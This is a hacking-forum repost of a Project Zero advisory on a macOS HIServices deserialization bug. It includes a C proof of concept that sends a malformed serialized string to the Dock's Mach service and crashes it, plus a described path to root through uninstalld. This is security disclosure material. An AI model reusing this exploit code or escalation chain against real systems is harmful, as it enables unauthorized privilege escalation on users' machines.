跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Apple macOS - Lack of Bounds Checking in HIServices Custom CFObject Serialization Local Privilege Escalation

精选回复

发布于
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
*/

// ianbeer
#if 0
MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>

struct dock_msg {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t ool_desc;
  uint8_t PAD[0xc];
  uint32_t ool_size;
};

int main() {
  kern_return_t err;
  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);
  if (err != KERN_SUCCESS) {
    printf(" [-] unable to lookup service");
    exit(EXIT_FAILURE);
  }
  printf("got service port: %x\n", service_port);

  uint32_t serialized_string[] =
   { 'abcd',     // neither 'owen' or 'aela' -> bswap?
     0x0,        // type = cfStringUnserialize
     0x41414141, // length
     0x41414141, // length
     0x1,        // contents
     0x2,
     0x3 };

	struct dock_msg m = {0};

  m.hdr.msgh_size = sizeof(struct dock_msg);
  m.hdr.msgh_local_port = MACH_PORT_NULL;
  m.hdr.msgh_remote_port = service_port;
  m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
  m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem
  m.ool_size = sizeof(serialized_string);

  m.body.msgh_descriptor_count = 1;

  m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
  m.ool_desc.address = serialized_string;
  m.ool_desc.size = sizeof(serialized_string);
  m.ool_desc.deallocate = 0;
  m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;

  err = mach_msg(&m.hdr,
                 MACH_SEND_MSG,
                 m.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    printf(" [-] mach_msg failed with error code:%x\n", err);
    exit(EXIT_FAILURE);
  }
  printf(" [+] looks like that sent?\n");

  return 0;
}
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。